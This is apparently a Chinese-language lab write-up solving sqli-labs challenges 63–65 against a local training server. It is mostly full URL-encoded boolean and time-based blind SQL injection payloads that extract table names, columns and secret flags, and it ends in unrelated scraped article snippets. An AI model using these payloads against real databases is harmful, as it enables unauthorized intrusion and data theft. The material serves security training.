http://192.168.1.104/sql/Less-63/?id=1'%20and%20if(ascii(substr((select%20concat(column_name)%20from%20information_schema.columns%20where%20table_name='xbfiaw943d'%20limit%202,1),1,1))%261=1,sleep(2),1)--+
//查询到表（xbfiaw943d）中的第三个字段值为（secret_58BB）；
http://192.168.1.104/sql/Less-63/?id=1'%20and%20if(ascii(substr((select%20group_concat(secret_58BB)%20from%20xbfiaw943d),1,1))%261=1,sleep(2),1)--+
...
http://192.168.1.104/sql/Less-63/?id=1'%20and%20if(ascii(substr((select%20group_concat(secret_58BB)%20from%20xbfiaw943d),1,1))%261=1,sleep(2),1)--+
//查询到表（xbfiaw943d）中的第三个字段值（secret_58BB）信息为（d3MjBfNPPIkKWoP7FWrqnH46），使用该信息提交至服务器，服务器返回页面正确，挑战成功；

至此，成功获取到flag信息并提交至服务器，服务器返回页面正确，挑战成功，SqliLab-63结束；

2.11. SqliLab-64（布尔/时间盲注（))闭合）（130次尝试））：

2.11.1. 初始界面

2.11.2. 判断注入点（关键步骤）

观察发现是GET型数据传送，参数为（id），尝试对其进行注入点判断（一般闭合字符是从单引号，双引号开始）；
EG：

http://192.168.1.104/sql/Less-64/?id=1 and 1=1 --+
//服务器返回页面错误（预期正确），尝试使用（'）代替（）进行构造；
http://192.168.1.104/sql/Less-64/?id=1' and 1=1 --+
//服务器返回页面错误（预期正确），尝试使用（"）代替（'）进行构造；
http://192.168.1.104/sql/Less-64/?id=1" and 1=1 --+
//服务器返回页面错误（预期正确），尝试使用（)）代替（"）进行构造；
http://192.168.1.104/sql/Less-64/?id=1) and 1=1 --+
//服务器返回页面错误（预期正确），尝试使用（''）代替（)）进行构造；
http://192.168.1.104/sql/Less-64/?id=1'' and 1=1 --+
//服务器返回页面错误（预期正确），尝试使用（'"）代替（''）进行构造；
http://192.168.1.104/sql/Less-64/?id=1'" and 1=1 --+
//服务器返回页面错误（预期正确），尝试使用（')）代替（'"）进行构造；
http://192.168.1.104/sql/Less-64/?id=1') and 1=1 --+
//服务器返回页面错误（预期正确），尝试使用（"'）代替（')）进行构造；
http://192.168.1.104/sql/Less-64/?id=1"' and 1=1 --+
//服务器返回页面错误（预期正确），尝试使用（""）代替（"'）进行构造；
http://192.168.1.104/sql/Less-64/?id=1"" and 1=1 --+
//服务器返回页面错误（预期正确），尝试使用（")）代替（""）进行构造；
http://192.168.1.104/sql/Less-64/?id=1") and 1=1 --+
//服务器返回页面错误（预期正确），尝试使用（)'）代替（")）进行构造；
http://192.168.1.104/sql/Less-64/?id=1)' and 1=1 --+
//服务器返回页面错误（预期正确），尝试使用（)"）代替（)'）进行构造；
http://192.168.1.104/sql/Less-64/?id=1)" and 1=1 --+
//服务器返回页面错误（预期正确），尝试使用（))）代替（)"）进行构造；
http://192.168.1.104/sql/Less-64/?id=1)) and 1=1 --+
//服务器返回页面正确（预期正确），尝试使用（1=2）进行构造；
http://192.168.1.104/sql/Less-64/?id=1)) and 1=2 --+
//服务器返回页面错误（预期错误），判断出参数（id）存在注入，闭合字符为（))）;

判断是否存在SQL语句报错提示

http://192.168.1.104/sql/Less-64/?id=1)'") --+
//服务器返回页面错误，没有发现SQL语句报错提示，再次尝试;
http://192.168.1.104/sql/Less-64/?id=1')") --+
//服务器返回页面错误，没有发现SQL语句报错提示，再次尝试;
...
//经过判断，不存在SQL语句报错提示；

判断是否存在时间盲注
EG：

http://192.168.1.104/sql/Less-64/?id=1)) and if(1=1,sleep(5),1) --+
//服务器返回页面错误，有较长时间延迟，尝试使用（1=2）构造；
http://192.168.1.104/sql/Less-64/?id=1)) and if(1=2,sleep(5),1) --+
//服务器返回页面正确，无较长时间延迟；
//经过判断，存在时间盲注；

经过测试，判断出参数（id）存在注入，闭合字符为（))），同时服务器返回页面不存在回显和SQL语句报错提示，考虑使用布尔/时间盲注获取数据库信息；

2.11.3. 使用布尔盲注获取数据库信息

EG：

http://192.168.1.104/sql/Less-64/?id=1))%20and%20ascii(substr((select%20group_concat(table_name)%20from%20information_schema.tables%20where%20table_schema=database()),1,1))%261=1%20--+
...
http://192.168.1.104/sql/Less-64/?id=1))%20and%20ascii(substr((select%20group_concat(table_name)%20from%20information_schema.tables%20where%20table_schema=database()),10,1))%26256=256%20--+
//查询到当前数据库中的表为（eclzaok8uv）；
http://192.168.1.104/sql/Less-64/?id=1))%20and%20ascii(substr((select%20concat(column_name)%20from%20information_schema.columns%20where%20table_name='eclzaok8uv'%20limit%202,1),1,1))%261=1%20--+
...
http://192.168.1.104/sql/Less-64/?id=1))%20and%20ascii(substr((select%20concat(column_name)%20from%20information_schema.columns%20where%20table_name='eclzaok8uv'%20limit%202,1),11,1))%26256=256%20--+
//查询到表（eclzaok8uv）中的第三个字段值为（secret_04FF）；
http://192.168.1.104/sql/Less-64/?id=1))%20and%20ascii(substr((select%20group_concat(secret_04FF)%20from%20eclzaok8uv),1,1))%261=1%20--+
...
http://192.168.1.104/sql/Less-64/?id=1))%20and%20ascii(substr((select%20group_concat(secret_04FF)%20from%20eclzaok8uv),1,1))%26256=256%20--+
//查询到表（eclzaok8uv）中的第三个字段值（secret_04FF）信息为（vpkA9EOoJS5C0FCnLnXauoS2），使用该信息提交至服务器，服务器返回页面正确，挑战成功；

2.11.4. 使用时间盲注获取数据库信息

EG：

http://192.168.1.104/sql/Less-64/?id=1))%20and%20if(ascii(substr((select%20group_concat(table_name)%20from%20information_schema.tables%20where%20table_schema=database()),1,1))%261=1,sleep(2),1)--+
...
http://192.168.1.104/sql/Less-64/?id=1))%20and%20if(ascii(substr((select%20group_concat(table_name)%20from%20information_schema.tables%20where%20table_schema=database()),10,1))%26256=256,sleep(2),1)--+
//查询到当前数据库中的表为（eclzaok8uv）；
http://192.168.1.104/sql/Less-64/?id=1))%20and%20if(ascii(substr((select%20concat(column_name)%20from%20information_schema.columns%20where%20table_name='eclzaok8uv'%20limit%202,1),1,1))%261=1,sleep(2),1)--+
...
http://192.168.1.104/sql/Less-64/?id=1))%20and%20if(ascii(substr((select%20concat(column_name)%20from%20information_schema.columns%20where%20table_name='eclzaok8uv'%20limit%202,1),1,1))%261=1,sleep(2),1)--+
//查询到表（eclzaok8uv）中的第三个字段值为（secret_04FF）；
http://192.168.1.104/sql/Less-64/?id=1))%20and%20if(ascii(substr((select%20group_concat(secret_04FF)%20from%20eclzaok8uv),1,1))%261=1,sleep(2),1)--+
...
http://192.168.1.104/sql/Less-64/?id=1))%20and%20if(ascii(substr((select%20group_concat(secret_04FF)%20from%20eclzaok8uv),1,1))%261=1,sleep(2),1)--+
//查询到表（eclzaok8uv）中的第三个字段值（secret_04FF）信息为（vpkA9EOoJS5C0FCnLnXauoS2），使用该信息提交至服务器，服务器返回页面正确，挑战成功；

至此，成功获取到flag信息并提交至服务器，服务器返回页面正确，挑战成功，SqliLab-64结束；

2.12. SqliLab-65（布尔/时间盲注（")闭合）（130次尝试））：

2.12.1. 初始界面

2.12.2. 判断注入点（关键步骤）

观察发现是GET型数据传送，参数为（id），尝试对其进行注入点判断（一般闭合字符是从单引号，双引号开始）；
EG：

http://192.168.1.104/sql/Less-65/?id=1 and 1=1 --+
//服务器返回页面错误（预期正确），尝试使用（'）代替（）进行构造；
http://192.168.1.104/sql/Less-65/?id=1' and 1=1 --+
//服务器返回页面错误（预期正确），尝试使用（"）代替（'）进行构造；
http://192.168.1.104/sql/Less-65/?id=1" and 1=1 --+
//服务器返回页面错误（预期正确），尝试使用（)）代替（"）进行构造；
http://192.168.1.104/sql/Less-65/?id=1) and 1=1 --+
//服务器返回页面错误（预期正确），尝试使用（''）代替（)）进行构造；
http://192.168.1.104/sql/Less-65/?id=1'' and 1=1 --+
//服务器返回页面错误（预期正确），尝试使用（'"）代替（''）进行构造；
http://192.168.1.104/sql/Less-65/?id=1'" and 1=1 --+
//服务器返回页面错误（预期正确），尝试使用（')）代替（'"）进行构造；
http://192.168.1.104/sql/Less-65/?id=1') and 1=1 --+
//服务器返回页面错误（预期正确），尝试使用（"'）代替（')）进行构造；
http://192.168.1.104/sql/Less-65/?id=1"' and 1=1 --+
//服务器返回页面错误（预期正确），尝试使用（""）代替（"'）进行构造；
http://192.168.1.104/sql/Less-65/?id=1"" and 1=1 --+
//服务器返回页面错误（预期正确），尝试使用（")）代替（""）进行构造；
http://192.168.1.104/sql/Less-65/?id=1") and 1=1 --+
//服务器返回页面正确（预期正确），尝试使用（1=2）进行构造；
http://192.168.1.104/sql/Less-65/?id=1") and 1=2 --+
//服务器返回页面错误（预期错误），判断出参数（id）存在注入，闭合字符为（")）;

判断是否存在SQL语句报错提示

http://192.168.1.104/sql/Less-65/?id=1)'") --+
//服务器返回页面错误，没有发现SQL语句报错提示，再次尝试;
http://192.168.1.104/sql/Less-65/?id=1')") --+
//服务器返回页面错误，没有发现SQL语句报错提示，再次尝试;
...
//经过判断，不存在SQL语句报错提示；

判断是否存在时间盲注
EG：

http://192.168.1.104/sql/Less-65/?id=1") and if(1=1,sleep(5),1) --+
//服务器返回页面错误，有较长时间延迟，尝试使用（1=2）构造；
http://192.168.1.104/sql/Less-65/?id=1") and if(1=2,sleep(5),1) --+
//服务器返回页面正确，无较长时间延迟；
//经过判断，存在时间盲注；

2.12.3. 使用布尔盲注获取数据库信息

EG：

http://192.168.1.104/sql/Less-65/?id=1")%20and%20ascii(substr((select%20group_concat(table_name)%20from%20information_schema.tables%20where%20table_schema=database()),1,1))%261=1%20--+
...
http://192.168.1.104/sql/Less-65/?id=1")%20and%20ascii(substr((select%20group_concat(table_name)%20from%20information_schema.tables%20where%20table_schema=database()),10,1))%26256=256%20--+
//查询到当前数据库中的表为（ylyzgrsa08）；
http://192.168.1.104/sql/Less-65/?id=1")%20and%20ascii(substr((select%20concat(column_name)%20from%20information_schema.columns%20where%20table_name='ylyzgrsa08'%20limit%202,1),1,1))%261=1%20--+
...
http://192.168.1.104/sql/Less-65/?id=1")%20and%20ascii(substr((select%20concat(column_name)%20from%20information_schema.columns%20where%20table_name='ylyzgrsa08'%20limit%202,1),11,1))%26256=256%20--+
//查询到表（ylyzgrsa08）中的第三个字段值为（secret_MDDC）；
http://192.168.1.104/sql/Less-65/?id=1")%20and%20ascii(substr((select%20group_concat(secret_MDDC)%20from%20ylyzgrsa08),1,1))%261=1%20--+
...
http://192.168.1.104/sql/Less-65/?id=1")%20and%20ascii(substr((select%20group_concat(secret_MDDC)%20from%20ylyzgrsa08),1,1))%26256=256%20--+
//查询到表（ylyzgrsa08）中的第三个字段值（secret_MDDC）信息为（oEcpYgjGChmNisVWaJ7WlaLj），使用该信息提交至服务器，服务器返回页面正确，挑战成功；

2.12.4. 使用时间盲注获取数据库信息

EG：

http://192.168.1.104/sql/Less-65/?id=1")%20and%20if(ascii(substr((select%20group_concat(table_name)%20from%20information_schema.tables%20where%20table_schema=database()),1,1))%261=1,sleep(2),1)--+
...
http://192.168.1.104/sql/Less-65/?id=1")%20and%20if(ascii(substr((select%20group_concat(table_name)%20from%20information_schema.tables%20where%20table_schema=database()),10,1))%26256=256,sleep(2),1)--+
//查询到当前数据库中的表为（ylyzgrsa08）；
http://192.168.1.104/sql/Less-65/?id=1")%20and%20if(ascii(substr((select%20concat(column_name)%20from%20information_schema.columns%20where%20table_name='ylyzgrsa08'%20limit%202,1),1,1))%261=1,sleep(2),1)--+
...
http://192.168.1.104/sql/Less-65/?id=1")%20and%20if(ascii(substr((select%20concat(column_name)%20from%20information_schema.columns%20where%20table_name='ylyzgrsa08'%20limit%202,1),1,1))%261=1,sleep(2),1)--+
//查询到表（ylyzgrsa08）中的第三个字段值为（secret_MDDC）；
http://192.168.1.104/sql/Less-65/?id=1")%20and%20if(ascii(substr((select%20group_concat(secret_MDDC)%20from%20ylyzgrsa08),1,1))%261=1,sleep(2),1)--+
...
http://192.168.1.104/sql/Less-65/?id=1")%20and%20if(ascii(substr((select%20group_concat(secret_MDDC)%20from%20ylyzgrsa08),1,1))%261=1,sleep(2),1)--+
//查询到表（ylyzgrsa08）中的第三个字段值（secret_MDDC）信息为（oEcpYgjGChmNisVWaJ7WlaLj），使用该信息提交至服务器，服务器返回页面正确，挑战成功；

至此，成功获取到flag信息并提交至服务器，服务器返回页面正确，挑战成功，SqliLab-65结束（SqliLab-62~SqliLab-65都是使用脚本尝试的结果）；

3. 总结

经过对CHALLENGE连续十二题的SQL注入，发现虽然有尝试次数的限制，但是也对整个SQL注入的流程（注入点的判断，采用合适方法的条件，注入payload的构造）更加的清楚了，对CHALLENGE中的题目的注入，包含了UNION联合查询，报错注入，布尔盲注，时间盲注这四种方法，前面两种是能相对快速的得到数据库信息，后面两种则是需要花费大量的时间去获取数据库信息（一般采取使用脚本去尝试），但是不管怎样，对于注入点的判断都是最为重要的（很多的类型都是相似的，只是注入点参数的闭合字符不同）。

[如有错误，请指出，拜托了<( _ _ )> ！！！]

你可能感兴趣的:(#,MYSQL注入学习)

情绪觉察日记第37天露露_e800
今天是家庭关系规划师的第二阶最后一天，慧萍老师帮我做了个案，帮我处理了埋在心底好多年的一份恐惧，并给了我深深的力量！这几天出来学习，爸妈过来婆家帮我带小孩，妈妈出于爱帮我收拾东西，并跟我先生和婆婆产生矛盾，妈妈觉得他们没有照顾好我…。今晚回家见到妈妈，我很欣赏她并赞扬她，妈妈说今晚要跟我睡我说好，当我们俩躺在床上准备睡觉的时候，我握着妈妈的手对她说:妈妈这几天辛苦你了，你看你多利害把我们的家收拾得
机器学习与深度学习间关系与区别 ℒℴѵℯ心·动ꦿ໊ོ꫞ 人工智能学习深度学习 python
一、机器学习概述定义机器学习（MachineLearning,ML）是一种通过数据驱动的方法，利用统计学和计算算法来训练模型，使计算机能够从数据中学习并自动进行预测或决策。机器学习通过分析大量数据样本，识别其中的模式和规律，从而对新的数据进行判断。其核心在于通过训练过程，让模型不断优化和提升其预测准确性。主要类型1.监督学习（SupervisedLearning）监督学习是指在训练数据集中包含输入
铭刻于星（四十二）随风至
69夜晚，绍敏同学做完功课后，看了眼房外，没听到动静才敢从书包的夹层里拿出那个心形纸团。折痕压得很深，都有些旧了，想来是已经写好很久了。绍敏同学慢慢地、轻轻地捏开折叠处，待到全部拆开后，又反复抚平纸张，然后仔细地一字字默看。只是开头的三个字是第一次看到，让她心漏跳了几拍。“亲爱的绍敏：从四年级的时候，我就喜欢你了，但是我一直不敢说，怕影响你学习。六年级的时候听说有人跟你表白，你接受了，我很难过，但
UI学习——cell的复用和自定义cell Magnetic_h ui 学习
目录cell的复用手动（非注册）自动（注册）自定义cellcell的复用在iOS开发中，单元格复用是一种提高表格（UITableView）和集合视图（UICollectionView）滚动性能的技术。当一个UITableViewCell或UICollectionViewCell首次需要显示时，如果没有可复用的单元格，则视图会创建一个新的单元格。一旦这个单元格滚动出屏幕，它就不会被销毁。相反，它被添
学点心理知识，呵护孩子健康静候花开_7090
昨天听了华中师范大学教育管理学系副教授张玲老师的《哪里才是学生心理健康的最后庇护所，超越教育与技术的思考》的讲座。今天又重新学习了一遍，收获匪浅。张玲博士也注意到了当今社会上的孩子由于心理问题导致的自残、自杀及伤害他人等恶性事件。她向我们普及了一个重要的命题，她说心理健康的一些基本命题，我们与我们通常的一些教育命题是不同的，她还举了几个例子，让我们明白我们原来以为的健康并非心理学上的健康。比如如果
Cell Insight | 单细胞测序技术又一新发现，可用于HIV-1和Mtb共感染个体诊断尐尐呅
结核病是艾滋病合并其他疾病中导致患者死亡的主要原因。其中结核病由结核分枝杆菌（Mycobacteriumtuberculosis,Mtb）感染引起，获得性免疫缺陷综合症（艾滋病）由人免疫缺陷病毒（Humanimmunodeficiencyvirustype1,HIV-1）感染引起。国家感染性疾病临床医学研究中心/深圳市第三人民医院张国良团队携手深圳华大生命科学研究院吴靓团队，共同研究得出单细胞测序
mysql禁用远程登录 igotyback mysql
去mysql库中的user表里，将host都改成localhost之后刷新权限FLUSHPRIVILEGES;
ArcGIS栅格计算器常见公式（赋值、0和空值的转换、补充栅格空值）研学随笔 arcgis 经验分享
我们在使用ArcGIS时通常经常用到栅格计算器，今天主要给大家介绍我日常中经常用到的几个公式，供大家参考学习。将特定值（-9999）赋值为0，例如-9999.Con("raster"==-9999,0,"raster")2.给空值赋予特定的值（如0）Con(IsNull("raster"),0,"raster")3.将特定的栅格值(如1)赋值为空值，其他保留原值SetNull("raster"==
【一起学Rust | 设计模式】习惯语法——使用借用类型作为参数、格式化拼接字符串、构造函数广龙宇一起学Rust #Rust设计模式 rust 设计模式开发语言
提示：文章写完后，目录可以自动生成，如何生成可参考右边的帮助文档文章目录前言一、使用借用类型作为参数二、格式化拼接字符串三、使用构造函数总结前言Rust不是传统的面向对象编程语言，它的所有特性，使其独一无二。因此，学习特定于Rust的设计模式是必要的。本系列文章为作者学习《Rust设计模式》的学习笔记以及自己的见解。因此，本系列文章的结构也与此书的结构相同（后续可能会调成结构），基本上分为三个部分
回溯 Leetcode 332 重新安排行程 mmaerd Leetcode刷题学习记录 leetcode 算法职场和发展
重新安排行程Leetcode332学习记录自代码随想录给你一份航线列表tickets，其中tickets[i]=[fromi,toi]表示飞机出发和降落的机场地点。请你对该行程进行重新规划排序。所有这些机票都属于一个从JFK（肯尼迪国际机场）出发的先生，所以该行程必须从JFK开始。如果存在多种有效的行程，请你按字典排序返回最小的行程组合。例如，行程[“JFK”,“LGA”]与[“JFK”,“LGB
Python数据分析与可视化实战指南 William数据分析 python python 数据
在数据驱动的时代，Python因其简洁的语法、强大的库生态系统以及活跃的社区，成为了数据分析与可视化的首选语言。本文将通过一个详细的案例，带领大家学习如何使用Python进行数据分析，并通过可视化来直观呈现分析结果。一、环境准备1.1安装必要库在开始数据分析和可视化之前，我们需要安装一些常用的库。主要包括pandas、numpy、matplotlib和seaborn等。这些库分别用于数据处理、数学
2019-12-22-22:30 涓涓1016
今天是冬至，写下我的日更，是因为这两天的学习真的是能量的满满，让我看到了自己，未来另外一种可能性，也让我看到了这两年这几年的过程中我所接受那些痛苦的来源。一切的根源和痛苦都来自于人生，家庭，而你的原生家庭，你的爸爸和妈妈，是因为你这个灵魂在那一刻选择他们作为你的爸爸和妈妈来的，所以你得接受他，你得接纳他，他就是因为他的存在而给你的学习和成长带来这些痛苦，那其实是你必然要经历的这个过程，当你去接纳的
将cmd中命令输出保存为txt文本文件落难Coder Windows cmd window
最近深度学习本地的训练中我们常常要在命令行中运行自己的代码，无可厚非，我们有必要保存我们的炼丹结果，但是复制命令行输出到txt是非常麻烦的，其实Windows下的命令行为我们提供了相应的操作。其基本的调用格式就是：运行指令>输出到的文件名称或者具体保存路径测试下，我打开cmd并且ping一下百度：pingwww.baidu.com>./data.txt看下相同目录下data.txt的输出：如果你再
四章-32-点要素的聚合彩云飘过
本文基于腾讯课堂老胡的课《跟我学Openlayers--基础实例详解》做的学习笔记，使用的openlayers5.3.xapi。源码见1032.html，对应的官网示例https://openlayers.org/en/latest/examples/cluster.htmlhttps://openlayers.org/en/latest/examples/earthquake-clusters.
GitHub上克隆项目 bigbig猩猩 github
从GitHub上克隆项目是一个简单且直接的过程，它允许你将远程仓库中的项目复制到你的本地计算机上，以便进行进一步的开发、测试或学习。以下是一个详细的步骤指南，帮助你从GitHub上克隆项目。一、准备工作1.安装Git在克隆GitHub项目之前，你需要在你的计算机上安装Git工具。Git是一个开源的分布式版本控制系统，用于跟踪和管理代码变更。你可以从Git的官方网站（https://git-scm.
HTML网页设计制作大作业（div+css）云南我的家乡旅游景点带文字滚动二挡起步 web前端期末大作业 web设计网页规划与设计 html css javascript dreamweaver 前端
Web前端开发技术描述网页设计题材，DIV+CSS布局制作,HTML+CSS网页设计期末课程大作业游景点介绍|旅游风景区|家乡介绍|等网站的设计与制作HTML期末大学生网页设计作业HTML：结构CSS：样式在操作方面上运用了html5和css3，采用了div+css结构、表单、超链接、浮动、绝对定位、相对定位、字体样式、引用视频等基础知识JavaScript：做与用户的交互行为文章目录前端学习路线
Day1笔记-Python简介&标识符和关键字&输入输出 ~在杰难逃~ Python python 开发语言大数据数据分析数据挖掘
大家好，从今天开始呢，杰哥开展一个新的专栏，当然，数据分析部分也会不定时更新的，这个新的专栏主要是讲解一些Python的基础语法和知识，帮助0基础的小伙伴入门和学习Python，感兴趣的小伙伴可以开始认真学习啦！一、Python简介【了解】1.计算机工作原理编程语言就是用来定义计算机程序的形式语言。我们通过编程语言来编写程序代码，再通过语言处理程序执行向计算机发送指令，让计算机完成对应的工作，编程
MYSQL面试系列-04 king01299 面试 mysql 面试
MYSQL面试系列-0417.关于redolog和binlog的刷盘机制、redolog、undolog作用、GTID是做什么的？innodb_flush_log_at_trx_commit及sync_binlog参数意义双117.1innodb_flush_log_at_trx_commit该变量定义了InnoDB在每次事务提交时，如何处理未刷入（flush）的重做日志信息（redolog）。它
人工智能时代，程序员如何保持核心竞争力？ jmoych 人工智能
随着AIGC（如chatgpt、midjourney、claude等）大语言模型接二连三的涌现，AI辅助编程工具日益普及，程序员的工作方式正在发生深刻变革。有人担心AI可能取代部分编程工作，也有人认为AI是提高效率的得力助手。面对这一趋势,程序员应该如何应对?是专注于某个领域深耕细作，还是广泛学习以适应快速变化的技术环境?又或者，我们是否应该将重点转向AI无法轻易替代的软技能？让我们一起探讨程序员
node.js学习小猿L node.js node.js 学习 vim
node.js学习实操及笔记温故node.js，node.js学习实操过程及笔记~node.js学习视频node.js官网node.js中文网实操笔记githubcsdn笔记为什么学node.js可以让别人访问我们编写的网页为后续的框架学习打下基础，三大框架vuereactangular离不开node.jsnode.js是什么官网：node.js是一个开源的、跨平台的运行JavaScript的运行
阶段总结反思轻争
马上就要进入10月份了，今天做一下前段时间的总结和反思。前段时间，日更、英语、健身、护肤坚持的比较好。阅读、书法坚持的不好。1.中间被迫停更半个多月，其余时间一直在坚持日更挑战。偶尔也有不想写的时候，就做一下摘抄。因为阅读（输入）没跟上来，所以写作（输出）质量有待进一步加强。2.英语做到了一周至少学习5天，每次不少于30分钟，但是小班课没有跟上更新速度，下一步要争取利用零碎时间补听小班课。3.减肥
ARM驱动学习之基础小知识 JT灬新一 ARM 嵌入式 arm开发学习
ARM驱动学习之基础小知识•sch原理图工程师工作内容–方案–元器件选型–采购（能不能买到，价格）–原理图（涉及到稳定性）•layout画板工程师–layout（封装、布局，布线，log）（涉及到稳定性）–焊接的一部分工作（调试阶段板子的焊接）•驱动工程师–驱动，原理图，layout三部分的交集容易发生矛盾•PCB研发流程介绍–方案，原理图(网表)–layout工程师（gerber文件）–PCB板
ARM驱动学习之5 LEDS驱动 JT灬新一嵌入式 C 底层 arm开发学习单片机
ARM驱动学习之5LEDS驱动知识点：•linuxGPIO申请函数和赋值函数–gpio_request–gpio_set_value•三星平台配置GPIO函数–s3c_gpio_cfgpin•GPIO配置输出模式的宏变量–S3C_GPIO_OUTPUT注意点：DRIVER_NAME和DEVICE_NAME匹配。实现步骤：1.加入需要的头文件：//Linux平台的gpio头文件#include//三
ARM驱动学习之4小结 JT灬新一嵌入式 C++arm开发学习 linux
ARM驱动学习之4小结#include#include#include#include#include#defineDEVICE_NAME"hello_ctl123"MODULE_LICENSE("DualBSD/GPL");MODULE_AUTHOR("TOPEET");staticlonghello_ioctl(structfile*file,unsignedintcmd,unsignedlo
展现思维导图魅力，不断挖掘人生宝藏思维导图讲师Mandy
第13期最强思维导图训练营已经结束一周了，但是我依旧是感觉所有学员还在努力的学习，这些学员中有教师、学生、白领、公务员、宝妈等等，只要你努力，只要你想改变自己，任何行业，任何岗位都可以参与进来，28天足以让你见成效，在这28天中，我们的学员不仅仅是收获了一枚毕业证，最重要的是让自己的思维方式得到升级，今天的你为自己投资，明天的你就会感谢你今天的付出，我们来听一听来自13期最强思维导图训练营优秀学员
2019-3-23晨间日记红红火火小耳朵
今天是什么日子起床：7点40就寝：23点半天气：有太阳，不过一会儿出来一会儿进去特别清爽的凉意，还蛮舒服的心情：小激动要给女朋友过生日啦纪念日：田田女士过生日任务清单昨日完成的任务，最重要的三件事：1.英语一对一2.运动计划3.认真护肤习惯养成：调整状态周目标·完成进度英语七天打卡（5/7）轻课阅读（87/180）音标课（25/30）读书（福尔摩斯一章）学习·信息·阅读#英语课#Cookingte
【华为OD技术面试真题精选 - 非技术题】 -HR面，综合面_华为od hr面一个射手座的程序媛程序员华为od 面试职场和发展
最后的话最近很多小伙伴找我要Linux学习资料，于是我翻箱倒柜，整理了一些优质资源，涵盖视频、电子书、PPT等共享给大家！资料预览给大家整理的视频资料：给大家整理的电子书资料：如果本文对你有帮助，欢迎点赞、收藏、转发给朋友，让我有持续创作的动力！网上学习资料一大堆，但如果学到的知识不成体系，遇到问题时只是浅尝辄止，不再深入研究，那么很难做到真正的技术提升。需要这份系统化的资料的朋友，可以点击这里获
教育用心灵温暖心灵
@陈春丽长期学习班冯倩。今天一早就听到说高职合并，取消中专教育的教育信息。感觉是虽然知道，再听还是吓一跳。国家重视职业教育为何还要取消中专技术学校的教育？再听高中就要进行技术教育了，一部分人学习好继续努力学习考大学，一部分人在高中就可以进行职业教育接受职业教育了还要中专技术教育学校干什么呢！a有些职业教育学校转型升级快，不是孩子上完给找工作，而是学校帮孩子创业，我觉得是不错的方向！新闻新你得实时更
数字里的世界17期：2021年全球10大顶级数据中心，中国移动榜首张三叨
你知道吗？2016年，全球的数据中心共计用电4160亿千瓦时，比整个英国的发电量还多40％！前言每天，我们都会创造超过250万TB的数据。并且随着物联网（IOT）的不断普及，这一数据将持续增长。如此庞大的数据被存储在被称为“数据中心”的专用设施中。虽然最早的数据中心建于20世纪40年代，但直到1997-2000年的互联网泡沫期间才逐渐成为主流。当前人类的技术，比如人工智能和机器学习，已经将我们推向
学习“论语”-第59天春峰轩
12.14子张问政。子曰：“居之无倦，行之以忠。”子张问为政之道。孔子说：“在位尽职不懈怠，执行政令要忠诚。”12.15子曰：“博学于文，约之以礼，亦可以弗畔矣夫！”孔子说：“君子广泛地学习文献，并且用礼节约束自己，也就不会离经叛道了。”12.16子曰：“君子成人之美，不成人之恶。小人反是。”孔子说：“君子成全别人的好事，而不助长别人的坏处。小人则与此相反行事。”知识点:“成人之美，不成人之恶”贯
多线程编程之卫生间周凡杨 java 并发卫生间线程厕所
如大家所知，火车上车厢的卫生间很小，每次只能容纳一个人，一个车厢只有一个卫生间，这个卫生间会被多个人同时使用，在实际使用时，当一个人进入卫生间时则会把卫生间锁上，等出来时打开门，下一个人进去把门锁上，如果有一个人在卫生间内部则别人的人发现门是锁的则只能在外面等待。问题分析：首先问题中有两个实体，一个是人，一个是厕所，所以设计程序时就可以设计两个类。人是多数的，厕所只有一个（暂且模拟的是一个车厢）。
How to Install GUI to Centos Minimal sunjing linux Install Desktop GUI
http://www.namhuy.net/475/how-to-install-gui-to-centos-minimal.html I have centos 6.3 minimal running as web server. I’m looking to install gui to my server to vnc to my server. You can insta
Shell 函数 daizj shell 函数
Shell 函数 linux shell 可以用户定义函数，然后在shell脚本中可以随便调用。 shell中函数的定义格式如下： [function] funname [()]{ action; [return int;] } 说明： 1、可以带function fun() 定义，也可以直接fun() 定义,不带任何参数。 2、参数返回
Linux服务器新手操作之一周凡杨 Linux 简单操作
1.whoami 当一个用户登录Linux系统之后，也许他想知道自己是发哪个用户登录的。此时可以使用whoami命令。 [ecuser@HA5-DZ05 ~]$ whoami e
浅谈Socket通信（一）朱辉辉33 socket
在java中ServerSocket用于服务器端，用来监听端口。通过服务器监听，客户端发送请求，双方建立链接后才能通信。当服务器和客户端建立链接后，两边都会产生一个Socket实例，我们可以通过操作Socket来建立通信。首先我建立一个ServerSocket对象。当然要导入java.net.ServerSocket包 ServerSock
关于框架的简单认识西蜀石兰框架
入职两个月多，依然是一个不会写代码的小白，每天的工作就是看代码，写wiki。前端接触CSS、HTML、JS等语言，一直在用的CS模型，自然免不了数据库的链接及使用，真心涉及框架，项目中用到的BootStrap算一个吧，哦，JQuery只能算半个框架吧，我更觉得它是另外一种语言。后台一直是纯Java代码，涉及的框架是Quzrtz和log4j。都说学前端的要知道三大框架，目前node.
You have an error in your SQL syntax; check the manual that corresponds to your 林鹤霄
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 'option,changed_ids ) values('0ac91f167f754c8cbac00e9e3dc372
MySQL5.6的my.ini配置 aigo mysql
注意：以下配置的服务器硬件是：8核16G内存 [client] port=3306 [mysql] default-character-set=utf8 [mysqld] port=3306 basedir=D:/mysql-5.6.21-win
mysql 全文模糊查找便捷解决方案 alxw4616 mysql
mysql 全文模糊查找便捷解决方案 2013/6/14 by 半仙 [email protected] 目的: 项目需求实现模糊查找. 原则: 查询不能超过 1秒. 问题: 目标表中有超过1千万条记录. 使用like '%str%' 进行模糊查询无法达到性能需求. 解决方案: 使用mysql全文索引. 1.全文索引 : MySQL支持全文索引和搜索功能。MySQL中的全文索
自定义数据结构链表(单项 ,双向,环形) 百合不是茶单项链表双向链表
链表与动态数组的实现方式差不多, 数组适合快速删除某个元素链表则可以快速的保存数组并且可以是不连续的单项链表;数据从第一个指向最后一个实现代码: //定义动态链表 clas
threadLocal实例 bijian1013 java thread java多线程 threadLocal
实例1： package com.bijian.thread; public class MyThread extends Thread { private static ThreadLocal tl = new ThreadLocal() { protected synchronized Object initialValue() { return new Inte
activemq安全设置—设置admin的用户名和密码 bijian1013 java activemq
ActiveMQ使用的是jetty服务器, 打开conf/jetty.xml文件，找到 <bean id="adminSecurityConstraint" class="org.eclipse.jetty.util.security.Constraint"> <p
【Java范型一】Java范型详解之范型集合和自定义范型类 bit1129 java
